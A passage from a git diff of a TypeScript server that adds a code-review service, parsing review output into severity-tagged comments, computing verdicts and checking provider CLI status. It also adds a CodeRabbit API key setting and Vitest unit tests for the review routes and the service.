comment.startLine || 1, + body: comment.body || '', + severity: this.validateSeverity(comment.severity), + category: this.validateCategory(comment.category), + suggestedFix: comment.suggestedFix, + suggestedCode: comment.suggestedCode, + autoFixed: false, + createdAt: new Date().toISOString(), + }); + } + } + } else { + // No JSON found - fall back to plain text + logger.warn('Failed to parse review JSON, falling back to text extraction', { + reason: 'no JSON block found', + }); + comments.push({ + id: this.generateId(), + filePath: files[0] || 'unknown', + startLine: 1, + endLine: 1, + body: reviewText, + severity: 'info', + category: 'code_quality', + createdAt: new Date().toISOString(), + }); + } + } catch (error) { + logger.warn('Failed to parse review JSON, falling back to text extraction', { error }); + // Fallback: create a single comment with the full review text + comments.push({ + id: this.generateId(), + filePath: files[0] || 'unknown', + startLine: 1, + endLine: 1, + body: reviewText, + severity: 'info', + category: 'code_quality', + createdAt: new Date().toISOString(), + }); + } + + return comments; + } + + /** + * Validate and normalize severity level + */ + private validateSeverity(severity: unknown): CodeReviewSeverity { + const validSeverities: CodeReviewSeverity[] = ['critical', 'high', 'medium', 'low', 'info']; + if (typeof severity === 'string' && validSeverities.includes(severity as CodeReviewSeverity)) { + return severity as CodeReviewSeverity; + } + return 'medium'; + } + + /** + * Validate and normalize category + */ + private validateCategory(category: unknown): CodeReviewCategory { + const validCategories: CodeReviewCategory[] = [ + 'tech_stack', + 'security', + 'code_quality', + 'implementation', + 'architecture', + 'performance', + 'testing', + 'documentation', + ]; + if (typeof category === 'string' && validCategories.includes(category as CodeReviewCategory)) { + return category as CodeReviewCategory; + } + return 'code_quality'; + } + + /** + * Build the final review result + */ + private buildReviewResult(options: { + reviewId: string; + comments: CodeReviewComment[]; + filesReviewed: string[]; + model: ModelId; + startTime: number; + baseRef?: string; + }): CodeReviewResult { + const { reviewId, comments, filesReviewed, model, startTime, baseRef } = options; + + // Determine verdict based on comments + const verdict = this.determineVerdict(comments); + + // Build summary stats + const stats = this.buildSummaryStats(comments); + + // Build summary text + const summary = this.buildSummaryText(verdict, stats, filesReviewed.length); + + return { + id: reviewId, + verdict, + summary, + comments, + stats, + filesReviewed, + model, + reviewedAt: new Date().toISOString(), + gitRef: baseRef, + durationMs: Date.now() - startTime, + }; + } + + /** + * Determine the overall verdict based on comments + */ + private determineVerdict(comments: CodeReviewComment[]): CodeReviewVerdict { + const hasCritical = comments.some((c) => c.severity === 'critical'); + const hasHigh = comments.some((c) => c.severity === 'high'); + + if (hasCritical) { + return 'changes_requested'; + } + if (hasHigh) { + return 'needs_discussion'; + } + if (comments.length === 0) { + return 'approved'; + } + // If only medium/low/info issues, approve + return 'approved'; + } + + /** + * Build summary statistics + */ + private buildSummaryStats(comments: CodeReviewComment[]): CodeReviewSummary { + const bySeverity: Record = { + critical: 0, + high: 0, + medium: 0, + low: 0, + info: 0, + }; + + const byCategory: Record = { + tech_stack: 0, + security: 0, + code_quality: 0, + implementation: 0, + architecture: 0, + performance: 0, + testing: 0, + documentation: 0, + }; + + let autoFixedCount = 0; + + for (const comment of comments) { + bySeverity[comment.severity]++; + byCategory[comment.category]++; + if (comment.autoFixed) { + autoFixedCount++; + } + } + + return { + totalComments: comments.length, + bySeverity, + byCategory, + autoFixedCount, + }; + } + + /** + * Build a human-readable summary + */ + private buildSummaryText( + verdict: CodeReviewVerdict, + stats: CodeReviewSummary, + filesCount: number + ): string { + if (stats.totalComments === 0) { + return `Reviewed ${filesCount} file(s). No issues found.`; + } + + const parts: string[] = []; + + if (stats.bySeverity.critical > 0) { + parts.push(`${stats.bySeverity.critical} critical`); + } + if (stats.bySeverity.high > 0) { + parts.push(`${stats.bySeverity.high} high`); + } + if (stats.bySeverity.medium > 0) { + parts.push(`${stats.bySeverity.medium} medium`); + } + + const issuesSummary = parts.length > 0 ? parts.join(', ') + ' priority issues' : 'minor issues'; + + const verdictText = + verdict === 'approved' + ? 'Approved with suggestions' + : verdict === 'changes_requested' + ? 'Changes requested' + : 'Needs discussion'; + + return `${verdictText}. Found ${stats.totalComments} comment(s) across ${filesCount} file(s): ${issuesSummary}.`; + } + + /** + * Create an empty result for when there are no files to review + */ + private createEmptyResult(reviewId: string, model: ModelId): CodeReviewResult { + return { + id: reviewId, + verdict: 'approved', + summary: 'No changes to review.', + comments: [], + stats: { + totalComments: 0, + bySeverity: { critical: 0, high: 0, medium: 0, low: 0, info: 0 }, + byCategory: { + tech_stack: 0, + security: 0, + code_quality: 0, + implementation: 0, + architecture: 0, + performance: 0, + testing: 0, + documentation: 0, + }, + autoFixedCount: 0, + }, + filesReviewed: [], + model, + reviewedAt: new Date().toISOString(), + durationMs: 0, + }; + } + + /** + * Convert CLI detection result to provider status + */ + private convertCliResult( + provider: ReviewProvider, + result: CliDetectionResult + ): ReviewProviderStatus { + return { + provider, + available: result.detected && result.cli.installed, + authenticated: result.cli.authenticated, + version: result.cli.version, + issues: result.issues, + }; + } + + /** + * Emit a code review event + */ + private emitReviewEvent(event: CodeReviewEvent): void { + this.events.emit('code_review:event', event); + } + + /** + * Generate a unique ID + */ + private generateId(): string { + return `cr_${Date.now()}_${Math.random().toString(36).substring(2, 11)}`; + } +} diff --git a/apps/server/src/services/settings-service.ts b/apps/server/src/services/settings-service.ts index e63b075c..fe88de23 100644 --- a/apps/server/src/services/settings-service.ts +++ b/apps/server/src/services/settings-service.ts @@ -420,6 +420,7 @@ export class SettingsService { anthropic: { configured: boolean; masked: string }; google: { configured: boolean; masked: string }; openai: { configured: boolean; masked: string }; + coderabbit: { configured: boolean; masked: string }; }> { const credentials = await this.getCredentials(); @@ -441,6 +442,10 @@ export class SettingsService { configured: !!credentials.apiKeys.openai, masked: maskKey(credentials.apiKeys.openai), }, + coderabbit: { + configured: !!credentials.apiKeys.coderabbit, + masked: maskKey(credentials.apiKeys.coderabbit), + }, }; } @@ -658,12 +663,14 @@ export class SettingsService { anthropic?: string; google?: string; openai?: string; + coderabbit?: string; }; await this.updateCredentials({ apiKeys: { anthropic: apiKeys.anthropic || '', google: apiKeys.google || '', openai: apiKeys.openai || '', + coderabbit: apiKeys.coderabbit || '', }, }); migratedCredentials = true; diff --git a/apps/server/tests/unit/routes/code-review/providers.test.ts b/apps/server/tests/unit/routes/code-review/providers.test.ts new file mode 100644 index 00000000..279d6670 --- /dev/null +++ b/apps/server/tests/unit/routes/code-review/providers.test.ts @@ -0,0 +1,196 @@ +/** + * Unit tests for code-review providers route handler + * + * Tests: + * - Returns provider status list + * - Returns recommended provider + * - Force refresh functionality + * - Error handling + */ + +import { describe, it, expect, vi, beforeEach } from 'vitest'; +import type { Request, Response } from 'express'; +import { createProvidersHandler } from '@/routes/code-review/routes/providers.js'; +import type { CodeReviewService } from '@/services/code-review-service.js'; +import { createMockExpressContext } from '../../../utils/mocks.js'; + +// Mock logger +vi.mock('@automaker/utils', async () => { + const actual = await vi.importActual('@automaker/utils'); + return { + ...actual, + createLogger: vi.fn(() => ({ + info: vi.fn(), + error: vi.fn(), + warn: vi.fn(), + debug: vi.fn(), + })), + }; +}); + +describe('code-review/providers route', () => { + let mockCodeReviewService: CodeReviewService; + let req: Request; + let res: Response; + + const mockProviderStatuses = [ + { + provider: 'claude' as const, + available: true, + authenticated: true, + version: '1.0.0', + issues: [], + }, + { + provider: 'codex' as const, + available: true, + authenticated: false, + version: '0.5.0', + issues: ['Not authenticated'], + }, + ]; + + beforeEach(() => { + vi.clearAllMocks(); + + mockCodeReviewService = { + getProviderStatus: vi.fn().mockResolvedValue(mockProviderStatuses), + getBestProvider: vi.fn().mockResolvedValue('claude'), + executeReview: vi.fn(), + refreshProviderStatus: vi.fn(), + initialize: vi.fn(), + } as any; + + const context = createMockExpressContext(); + req = context.req; + res = context.res; + req.query = {}; + }); + + describe('successful responses', () => { + it('should return provider status and recommended provider', async () => { + const handler = createProvidersHandler(mockCodeReviewService); + await handler(req, res); + + expect(res.json).toHaveBeenCalledWith({ + success: true, + providers: mockProviderStatuses, + recommended: 'claude', + }); + }); + + it('should use cached status by default', async () => { + const handler = createProvidersHandler(mockCodeReviewService); + await handler(req, res); + + expect(mockCodeReviewService.getProviderStatus).toHaveBeenCalledWith(false); + }); + + it('should force refresh when refresh=true query param is set', async () => { + req.query = { refresh: 'true' }; + + const handler = createProvidersHandler(mockCodeReviewService); + await handler(req, res); + + expect(mockCodeReviewService.getProviderStatus).toHaveBeenCalledWith(true); + }); + + it('should handle no recommended provider', async () => { + mockCodeReviewService.getBestProvider = vi.fn().mockResolvedValue(null); + + const handler = createProvidersHandler(mockCodeReviewService); + await handler(req, res); + + expect(res.json).toHaveBeenCalledWith({ + success: true, + providers: mockProviderStatuses, + recommended: null, + }); + }); + + it('should handle empty provider list', async () => { + mockCodeReviewService.getProviderStatus = vi.fn().mockResolvedValue([]); + mockCodeReviewService.getBestProvider = vi.fn().mockResolvedValue(null); + + const handler = createProvidersHandler(mockCodeReviewService); + await handler(req, res); + + expect(res.json).toHaveBeenCalledWith({ + success: true, + providers: [], + recommended: null, + }); + }); + }); + + describe('error handling', () => { + it('should handle getProviderStatus errors', async () => { + mockCodeReviewService.getProviderStatus = vi + .fn() + .mockRejectedValue(new Error('Failed to detect CLIs')); + + const handler = createProvidersHandler(mockCodeReviewService); + await handler(req, res); + + expect(res.status).toHaveBeenCalledWith(500); + expect(res.json).toHaveBeenCalledWith({ + success: false, + error: 'Failed to detect CLIs', + }); + }); + + it('should handle getBestProvider errors gracefully', async () => { + mockCodeReviewService.getBestProvider = vi + .fn() + .mockRejectedValue(new Error('Detection failed')); + + const handler = createProvidersHandler(mockCodeReviewService); + await handler(req, res); + + expect(res.status).toHaveBeenCalledWith(500); + expect(res.json).toHaveBeenCalledWith({ + success: false, + error: 'Detection failed', + }); + }); + }); + + describe('provider priority', () => { + it('should recommend claude when available and authenticated', async () => { + const handler = createProvidersHandler(mockCodeReviewService); + await handler(req, res); + + expect(res.json).toHaveBeenCalledWith( + expect.objectContaining({ + recommended: 'claude', + }) + ); + }); + + it('should recommend codex when claude is not available', async () => { + mockCodeReviewService.getBestProvider = vi.fn().mockResolvedValue('codex'); + + const handler = createProvidersHandler(mockCodeReviewService); + await handler(req, res); + + expect(res.json).toHaveBeenCalledWith( + expect.objectContaining({ + recommended: 'codex', + }) + ); + }); + + it('should recommend cursor as fallback', async () => { + mockCodeReviewService.getBestProvider = vi.fn().mockResolvedValue('cursor'); + + const handler = createProvidersHandler(mockCodeReviewService); + await handler(req, res); + + expect(res.json).toHaveBeenCalledWith( + expect.objectContaining({ + recommended: 'cursor', + }) + ); + }); + }); +}); diff --git a/apps/server/tests/unit/routes/code-review/status.test.ts b/apps/server/tests/unit/routes/code-review/status.test.ts new file mode 100644 index 00000000..08e55563 --- /dev/null +++ b/apps/server/tests/unit/routes/code-review/status.test.ts @@ -0,0 +1,109 @@ +/** + * Unit tests for code-review status route handler + * + * Tests: + * - Returns correct running status + * - Returns correct project path + * - Handles errors gracefully + */ + +import { describe, it, expect, vi, beforeEach } from 'vitest'; +import type { Request, Response } from 'express'; +import { createStatusHandler } from '@/routes/code-review/routes/status.js'; +import { createMockExpressContext } from '../../../utils/mocks.js'; + +// Mock the common module to control running state +vi.mock('@/routes/code-review/common.js', () => { + return { + isRunning: vi.fn(), + getReviewStatus: vi.fn(), + getCurrentProjectPath: vi.fn(), + setRunningState: vi.fn(), + getAbortController: vi.fn(), + getErrorMessage: (e: unknown) => (e instanceof Error ? e.message : String(e)), + logError: vi.fn(), + }; +}); + +// Mock logger +vi.mock('@automaker/utils', async () => { + const actual = await vi.importActual('@automaker/utils'); + return { + ...actual, + createLogger: vi.fn(() => ({ + info: vi.fn(), + error: vi.fn(), + warn: vi.fn(), + debug: vi.fn(), + })), + }; +}); + +describe('code-review/status route', () => { + let req: Request; + let res: Response; + + beforeEach(() => { + vi.clearAllMocks(); + + const context = createMockExpressContext(); + req = context.req; + res = context.res; + }); + + describe('when no review is running', () => { + it('should return isRunning: false with null projectPath', async () => { + const { getReviewStatus } = await import('@/routes/code-review/common.js'); + vi.mocked(getReviewStatus).mockReturnValue({ + isRunning: false, + projectPath: null, + }); + + const handler = createStatusHandler(); + await handler(req, res); + + expect(res.json).toHaveBeenCalledWith({ + success: true, + isRunning: false, + projectPath: null, + }); + }); + }); + + describe('when a review is running', () => { + it('should return isRunning: true with the current project path', async () => { + const { getReviewStatus } = await import('@/routes/code-review/common.js'); + vi.mocked(getReviewStatus).mockReturnValue({ + isRunning: true, + projectPath: '/test/project', + }); + + const handler = createStatusHandler(); + await handler(req, res); + + expect(res.json).toHaveBeenCalledWith({ + success: true, + isRunning: true, + projectPath: '/test/project', + }); + }); + }); + + describe('error handling', () => { + it('should handle errors gracefully', async () => { + const { getReviewStatus } = await import('@/routes/code-review/common.js'); + vi.mocked(getReviewStatus).mockImplementation(() => { + throw new Error('Unexpected error'); + }); + + const handler = createStatusHandler(); + await handler(req, res); + + expect(res.status).toHaveBeenCalledWith(500); + expect(res.json).toHaveBeenCalledWith({ + success: false, + error: 'Unexpected error', + }); + }); + }); +}); diff --git a/apps/server/tests/unit/routes/code-review/stop.test.ts b/apps/server/tests/unit/routes/code-review/stop.test.ts new file mode 100644 index 00000000..314bd352 --- /dev/null +++ b/apps/server/tests/unit/routes/code-review/stop.test.ts @@ -0,0 +1,129 @@ +/** + * Unit tests for code-review stop route handler + * + * Tests: + * - Stopping when no review is running + * - Stopping a running review + * - Abort controller behavior + * - Error handling + */ + +import { describe, it, expect, vi, beforeEach } from 'vitest'; +import type { Request, Response } from 'express'; +import { createStopHandler } from '@/routes/code-review/routes/stop.js'; +import { createMockExpressContext } from '../../../utils/mocks.js'; + +// Mock the common module +vi.mock('@/routes/code-review/common.js', () => { + return { + isRunning: vi.fn(), + getAbortController: vi.fn(), + setRunningState: vi.fn(), + getReviewStatus: vi.fn(), + getCurrentProjectPath: vi.fn(), + getErrorMessage: (e: unknown) => (e instanceof Error ? e.message : String(e)), + logError: vi.fn(), + }; +}); + +// Mock logger +vi.mock('@automaker/utils', async () => { + const actual = await vi.importActual('@automaker/utils'); + return { + ...actual, + createLogger: vi.fn(() => ({ + info: vi.fn(), + error: vi.fn(), + warn: vi.fn(), + debug: vi.fn(), + })), + }; +}); + +describe('code-review/stop route', () => { + let req: Request; + let res: Response; + + beforeEach(() => { + vi.clearAllMocks(); + + const context = createMockExpressContext(); + req = context.req; + res = context.res; + }); + + describe('when no review is running', () => { + it('should return success with message that nothing is running', async () => { + const { isRunning } = await import('@/routes/code-review/common.js'); + vi.mocked(isRunning).mockReturnValue(false); + + const handler = createStopHandler(); + await handler(req, res); + + expect(res.json).toHaveBeenCalledWith({ + success: true, + message: 'No code review is currently running', + }); + }); + }); + + describe('when a review is running', () => { + it('should abort the review and reset running state', async () => { + const { isRunning, getAbortController, setRunningState } = + await import('@/routes/code-review/common.js'); + + const mockAbortController = { + abort: vi.fn(), + signal: { aborted: false }, + }; + + vi.mocked(isRunning).mockReturnValue(true); + vi.mocked(getAbortController).mockReturnValue(mockAbortController as any); + + const handler = createStopHandler(); + await handler(req, res); + + expect(mockAbortController.abort).toHaveBeenCalled(); + expect(setRunningState).toHaveBeenCalledWith(false, null, null); + expect(res.json).toHaveBeenCalledWith({ + success: true, + message: 'Code review stopped', + }); + }); + + it('should handle case when abort controller is null', async () => { + const { isRunning, getAbortController, setRunningState } = + await import('@/routes/code-review/common.js'); + + vi.mocked(isRunning).mockReturnValue(true); + vi.mocked(getAbortController).mockReturnValue(null); + + const handler = createStopHandler(); + await handler(req, res); + + expect(setRunningState).toHaveBeenCalledWith(false, null, null); + expect(res.json).toHaveBeenCalledWith({ + success: true, + message: 'Code review stopped', + }); + }); + }); + + describe('error handling', () => { + it('should handle errors gracefully', async () => { + const { isRunning } = await import('@/routes/code-review/common.js'); + vi.mocked(isRunning).mockImplementation(() => { + throw new Error('Unexpected error'); + }); + + const handler = createStopHandler(); + await handler(req, res); + + expect(res.status).toHaveBeenCalledWith(500); + expect(res.json).toHaveBeenCalledWith({ + success: false, + error: 'Unexpected error', + }); + }); + }); +}); diff --git a/apps/server/tests/unit/routes/code-review/trigger.test.ts b/apps/server/tests/unit/routes/code-review/trigger.test.ts new file mode 100644 index 00000000..624316c6 --- /dev/null +++ b/apps/server/tests/unit/routes/code-review/trigger.test.ts @@ -0,0 +1,384 @@ +/** + * Unit tests for code-review trigger route handler + * + * Tests: + * - Parameter validation + * - Request body validation (security) + * - Concurrent review prevention + * - Review execution + * - Error handling + */ + +import { describe, it, expect, vi, beforeEach } from 'vitest'; +import type { Request, Response } from 'express'; +import { createTriggerHandler } from '@/routes/code-review/routes/trigger.js'; +import type { CodeReviewService } from '@/services/code-review-service.js'; +import { createMockExpressContext } from '../../../utils/mocks.js'; + +// Mock the common module to control running state +vi.mock('@/routes/code-review/common.js', () => { + let running = false; + return { + isRunning: vi.fn(() => running), + setRunningState: vi.fn((state: boolean) => { + running = state; + }), + getErrorMessage: (e: unknown) => (e instanceof Error ? e.message : String(e)), + logError: vi.fn(), + getAbortController: vi.fn(() => null), + getCurrentProjectPath: vi.fn(() => null), + }; +}); + +// Mock logger +vi.mock('@automaker/utils', async () => { + const actual = await vi.importActual('@automaker/utils'); + return { + ...actual, + createLogger: vi.fn(() => ({ + info: vi.fn(), + error: vi.fn(), + warn: vi.fn(), + debug: vi.fn(), + })), + }; +}); + +describe('code-review/trigger route', () => { + let mockCodeReviewService: CodeReviewService; + let req: Request; + let res: Response; + + beforeEach(async () => { + vi.clearAllMocks(); + + // Reset running state + const { setRunningState, isRunning } = await import('@/routes/code-review/common.js'); + vi.mocked(setRunningState)(false); + vi.mocked(isRunning).mockReturnValue(false); + + mockCodeReviewService = { + executeReview: vi.fn().mockResolvedValue({ + id: 'review-123', + verdict: 'approved', + summary: 'No issues found', + comments: [], + stats: { + totalComments: 0, + bySeverity: { critical: 0, high: 0, medium: 0, low: 0, info: 0 }, + byCategory: {}, + autoFixedCount: 0, + }, + filesReviewed: ['src/index.ts'], + model: 'claude-sonnet-4-20250514', + reviewedAt: new Date().toISOString(), + durationMs: 1000, + }), + getProviderStatus: vi.fn(), + getBestProvider: vi.fn(), + refreshProviderStatus: vi.fn(), + initialize: vi.fn(), + } as any; + + const context = createMockExpressContext(); + req = context.req; + res = context.res; + }); + + describe('parameter validation', () => { + it('should return 400 if projectPath is missing', async () => { + req.body = {}; + + const handler = createTriggerHandler(mockCodeReviewService); + await handler(req, res); + + expect(res.status).toHaveBeenCalledWith(400); + expect(res.json).toHaveBeenCalledWith({ + success: false, + error: 'projectPath is required', + }); + expect(mockCodeReviewService.executeReview).not.toHaveBeenCalled(); + }); + + it('should return 400 if files is not an array', async () => { + req.body = { + projectPath: '/test/project', + files: 'not-an-array', + }; + + const handler = createTriggerHandler(mockCodeReviewService); + await handler(req, res); + + expect(res.status).toHaveBeenCalledWith(400); + expect(res.json).toHaveBeenCalledWith({ + success: false, + error: 'files must be an array', + }); + }); + + it('should return 400 if too many files', async () => { + req.body = { + projectPath: '/test/project', + files: Array.from({ length: 150 }, (_, i) => `file${i}.ts`), + }; + + const handler = createTriggerHandler(mockCodeReviewService); + await handler(req, res); + + expect(res.status).toHaveBeenCalledWith(400); + expect(res.json).toHaveBeenCalledWith({ + success: false, + error: 'Maximum 100 files allowed per request', + }); + }); + + it('should return 400 if file path is too long', async () => { + req.body = { + projectPath: '/test/project', + files: ['a'.repeat(600)], + }; + + const handler = createTriggerHandler(mockCodeReviewService); + await handler(req, res); + + expect(res.status).toHaveBeenCalledWith(400); + expect(res.json).toHaveBeenCalledWith({ + success: false, + error: 'File path too long', + }); + }); + + it('should return 400 if baseRef is not a string', async () => { + req.body = { + projectPath: '/test/project', + baseRef: 123, + }; + + const handler = createTriggerHandler(mockCodeReviewService); + await handler(req, res); + + expect(res.status).toHaveBeenCalledWith(400); + expect(res.json).toHaveBeenCalledWith({ + success: false, + error: 'baseRef must be a string', + }); + }); + + it('should return 400 if baseRef is too long', async () => { + req.body = { + projectPath: '/test/project', + baseRef: 'a'.repeat(300), + }; + + const handler = createTriggerHandler(mockCodeReviewService); + await handler(req, res); + + expect(res.status).toHaveBeenCalledWith(400); + expect(res.json).toHaveBeenCalledWith({ + success: false, + error: 'baseRef is too long', + }); + }); + + it('should return 400 if categories is not an array', async () => { + req.body = { + projectPath: '/test/project', + categories: 'security', + }; + + const handler = createTriggerHandler(mockCodeReviewService); + await handler(req, res); + + expect(res.status).toHaveBeenCalledWith(400); + expect(res.json).toHaveBeenCalledWith({ + success: false, + error: 'categories must be an array', + }); + }); + + it('should return 400 if category is invalid', async () => { + req.body = { + projectPath: '/test/project', + categories: ['security', 'invalid_category'], + }; + + const handler = createTriggerHandler(mockCodeReviewService); + await handler(req, res); + + expect(res.status).toHaveBeenCalledWith(400); + expect(res.json).toHaveBeenCalledWith({ + success: false, + error: 'Invalid category: invalid_category', + }); + }); + + it('should return 400 if autoFix is not a boolean', async () => { + req.body = { + projectPath: '/test/project', + autoFix: 'true', + }; + + const handler = createTriggerHandler(mockCodeReviewService); + await handler(req, res); + + expect(res.status).toHaveBeenCalledWith(400); + expect(res.json).toHaveBeenCalledWith({ + success: false, + error: 'autoFix must be a boolean', + }); + }); + + it('should return 400 if thinkingLevel is invalid', async () => { + req.body = { + projectPath: '/test/project', + thinkingLevel: 'invalid', + }; + + const handler = createTriggerHandler(mockCodeReviewService); + await handler(req, res); + + expect(res.status).toHaveBeenCalledWith(400); + expect(res.json).toHaveBeenCalledWith({ + success: false, + error: 'Invalid thinkingLevel: invalid', + }); + }); + }); + + describe('concurrent review prevention', () => { + it('should return 409 if a review is already in progress', async () => { + const { isRunning } = await import('@/routes/code-review/common.js'); + vi.mocked(isRunning).mockReturnValue(true); + + req.body = { projectPath: '/test/project' }; + + const handler = createTriggerHandler(mockCodeReviewService); + await handler(req, res); + + expect(res.status).toHaveBeenCalledWith(409); + expect(res.json).toHaveBeenCalledWith({ + success: false, + error: 'A code review is already in progress', + }); + expect(mockCodeReviewService.executeReview).not.toHaveBeenCalled(); + }); + }); + + describe('successful review execution', () => { + it('should trigger review and return success immediately', async () => { + req.body = { + projectPath: '/test/project', + }; + + const handler = createTriggerHandler(mockCodeReviewService); + await handler(req, res); + + expect(res.json).toHaveBeenCalledWith({ + success: true, + message: 'Code review started', + }); + }); + + it('should pass all options to executeReview', async () => { + req.body = { + projectPath: '/test/project', + files: ['src/index.ts', 'src/utils.ts'], + baseRef: 'main', + categories: ['security', 'performance'], + autoFix: true, + model: 'claude-opus-4-5-20251101', + thinkingLevel: 'high', + }; + + const handler = createTriggerHandler(mockCodeReviewService); + await handler(req, res); + + // Wait for async execution + await new Promise((resolve) => setTimeout(resolve, 10)); + + expect(mockCodeReviewService.executeReview).toHaveBeenCalledWith( + expect.objectContaining({ + projectPath: '/test/project', + files: ['src/index.ts', 'src/utils.ts'], + baseRef: 'main', + categories: ['security', 'performance'], + autoFix: true, + model: 'claude-opus-4-5-20251101', + thinkingLevel: 'high', + abortController: expect.any(AbortController), + }) + ); + }); + + it('should accept valid categories', async () => { + const validCategories = [ + 'tech_stack', + 'security', + 'code_quality', + 'implementation', + 'architecture', + 'performance', + 'testing', + 'documentation', + ]; + + req.body = { + projectPath: '/test/project', + categories: validCategories, + }; + + const handler = createTriggerHandler(mockCodeReviewService); + await handler(req, res); + + expect(res.json).toHaveBeenCalledWith({ + success: true, + message: 'Code review started', + }); + }); + + it('should accept valid thinking levels', async () => { + for (const level of ['low', 'medium', 'high']) { + req.body = { + projectPath: '/test/project', + thinkingLevel: level, + }; + + const handler = createTriggerHandler(mockCodeReviewService); + await handler(req, res); + + expect(res.json).toHaveBeenCalledWith({ + success: true, + message: 'Code review started', + }); + + vi.clearAllMocks(); + } + }); + }); + + describe('error handling', () => { + it('should handle service errors gracefully', async () => { + mockCodeReviewService.executeReview = vi.fn().mockRejectedValue(new Error('Service error')); + + req.body = { + projectPath: '/test/project', + }; + + const handler = createTriggerHandler(mockCodeReviewService); + await handler(req, res); + + // Response is sent immediately (async execution) + expect(res.json).toHaveBeenCalledWith({ + success: true, + message: 'Code review started', + }); + + // Wait for async error handling + await new Promise((resolve) => setTimeout(resolve, 50)); + + // Running state should be reset + const { setRunningState } = await import('@/routes/code-review/common.js'); + expect(setRunningState).toHaveBeenCalledWith(false); + }); + }); +}); diff --git a/apps/server/tests/unit/services/code-review-service.test.ts b/apps/server/tests/unit/services/code-review-service.test.ts new file mode 100644 index 00000000..1b6e9270 --- /dev/null +++ b/apps/server/tests/unit/services/code-review-service.test.ts @@ -0,0 +1,1048 @@ +/** + * Unit tests for CodeReviewService + * + * Tests: + * - Service initialization and provider detection + * - Git ref sanitization (security) + * - File path sanitization (security) + * - Review execution + * - Event emission + * - Result building + * - Comment parsing + */ + +import { describe, it, expect, vi, beforeEach, type Mock } from 'vitest'; +import { CodeReviewService } from '@/services/code-review-service.js'; +import * as cliDetection from '@/lib/cli-detection.js'; +import * as simpleQueryService from '@/providers/simple-query-service.js'; +import { spawn, type ChildProcess } from 'child_process'; +import { EventEmitter } from 'events'; + +// Create mock logger +const mockLogger = vi.hoisted(() => ({ + info: vi.fn(), + error: vi.fn(), + warn: vi.fn(), + debug: vi.fn(), +})); + +// Mock dependencies +vi.mock('child_process', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + spawn: vi.fn(), + }; +}); + +vi.mock('@automaker/utils', async () => { + const actual = await vi.importActual('@automaker/utils'); + return { + ...actual, + createLogger: vi.fn(() => mockLogger), + }; +}); + +vi.mock('@/lib/cli-detection.js', () => ({ + detectAllCLis: vi.fn(), +})); + +vi.mock('@/providers/simple-query-service.js', () => ({ + streamingQuery: vi.fn(), +})); + +/** + * Helper to create a mock child process for spawn + */ +function createMockChildProcess(options: { + stdout?: string; + stderr?: string; + exitCode?: number; + shouldError?: boolean; +}): ChildProcess { + const { stdout = '', stderr = '', exitCode = 0, shouldError = false } = options; + + const mockProcess = new EventEmitter() as any; + mockProcess.stdout = new EventEmitter(); + mockProcess.stderr = new EventEmitter(); + mockProcess.kill = vi.fn(); + + // Simulate async output + process.nextTick(() => { + if (stdout) { + mockProcess.stdout.emit('data', Buffer.from(stdout)); + } + if (stderr) { + mockProcess.stderr.emit('data', Buffer.from(stderr)); + } + + if (shouldError) { + mockProcess.emit('error', new Error('Process error')); + } else { + mockProcess.emit('close', exitCode); + } + }); + + return mockProcess as ChildProcess; +} + +describe('code-review-service.ts', () => { + let service: CodeReviewService; + const mockEvents = { + subscribe: vi.fn(), + emit: vi.fn(), + }; + const mockSettingsService = { + getSettings: vi.fn().mockResolvedValue({}), + }; + + beforeEach(() => { + vi.clearAllMocks(); + service = new CodeReviewService(mockEvents as any, mockSettingsService as any); + }); + + describe('constructor', () => { + it('should initialize with event emitter and settings service', () => { + expect(service).toBeDefined(); + }); + + it('should work without settings service', () => { + const serviceWithoutSettings = new CodeReviewService(mockEvents as any); + expect(serviceWithoutSettings).toBeDefined(); + }); + }); + + describe('initialize', () => { + it('should detect all available CLIs on initialization', async () => { + vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({ + claude: { + detected: true, + cli: { installed: true, authenticated: true, version: '1.0.0' }, + issues: [], + }, + codex: null, + cursor: null, + coderabbit: null, + opencode: null, + }); + + await service.initialize(); + + expect(cliDetection.detectAllCLis).toHaveBeenCalled(); + }); + }); + + describe('refreshProviderStatus', () => { + it('should refresh and cache provider status', async () => { + vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({ + claude: { + detected: true, + cli: { installed: true, authenticated: true, version: '1.0.0' }, + issues: [], + }, + codex: { + detected: true, + cli: { installed: true, authenticated: false, version: '0.5.0' }, + issues: ['Not authenticated'], + }, + cursor: null, + coderabbit: null, + opencode: null, + }); + + const result = await service.refreshProviderStatus(); + + expect(result.size).toBe(2); + expect(result.get('claude')).toEqual({ + provider: 'claude', + available: true, + authenticated: true, + version: '1.0.0', + issues: [], + }); + expect(result.get('codex')).toEqual({ + provider: 'codex', + available: true, + authenticated: false, + version: '0.5.0', + issues: ['Not authenticated'], + }); + }); + }); + + describe('getProviderStatus', () => { + it('should return cached status within TTL', async () => { + vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({ + claude: { + detected: true, + cli: { installed: true, authenticated: true, version: '1.0.0' }, + issues: [], + }, + codex: null, + cursor: null, + coderabbit: null, + opencode: null, + }); + + // First call refreshes + await service.getProviderStatus(); + expect(cliDetection.detectAllCLis).toHaveBeenCalledTimes(1); + + // Second call uses cache + await service.getProviderStatus(); + expect(cliDetection.detectAllCLis).toHaveBeenCalledTimes(1); + }); + + it('should force refresh when requested', async () => { + vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({ + claude: { + detected: true, + cli: { installed: true, authenticated: true, version: '1.0.0' }, + issues: [], + }, + codex: null, + cursor: null, + coderabbit: null, + opencode: null, + }); + + await service.getProviderStatus(); + await service.getProviderStatus(true); + + expect(cliDetection.detectAllCLis).toHaveBeenCalledTimes(2); + }); + }); + + describe('getBestProvider', () => { + it('should return claude as highest priority when available', async () => { + vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({ + claude: { + detected: true, + cli: { installed: true, authenticated: true, version: '1.0.0' }, + issues: [], + }, + codex: { + detected: true, + cli: { installed: true, authenticated: true, version: '0.5.0' }, + issues: [], + }, + cursor: null, + coderabbit: null, + opencode: null, + }); + + const result = await service.getBestProvider(); + + expect(result).toBe('claude'); + }); + + it('should return codex if claude is not available', async () => { + vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({ + claude: null, + codex: { + detected: true, + cli: { installed: true, authenticated: true, version: '0.5.0' }, + issues: [], + }, + cursor: null, + coderabbit: null, + opencode: null, + }); + + const result = await service.getBestProvider(); + + expect(result).toBe('codex'); + }); + + it('should return null if no providers are available', async () => { + 